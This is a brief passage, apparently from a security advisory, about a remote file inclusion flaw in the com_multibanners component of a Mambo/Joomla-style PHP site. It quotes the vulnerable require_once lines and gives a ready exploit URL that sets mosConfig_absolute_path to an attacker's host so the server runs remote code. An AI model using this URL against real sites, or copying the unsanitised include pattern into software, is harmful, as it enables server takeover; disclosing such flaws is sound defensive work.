require_once( $mosConfig_absolute_path . '/includes/compat.php41x.php' );
}
if (phpversion() < '4.3.0') {
require_once( $mosConfig_absolute_path . '/includes/compat.php42x.php' );
}

The following URL will cause the server to include the file found on the
[attacker]'s web page:
http://site.com/[path]//administrator/components/com_multibanners/extadminmenus.class.php?
mosConfig_absolute_path=[attacker]
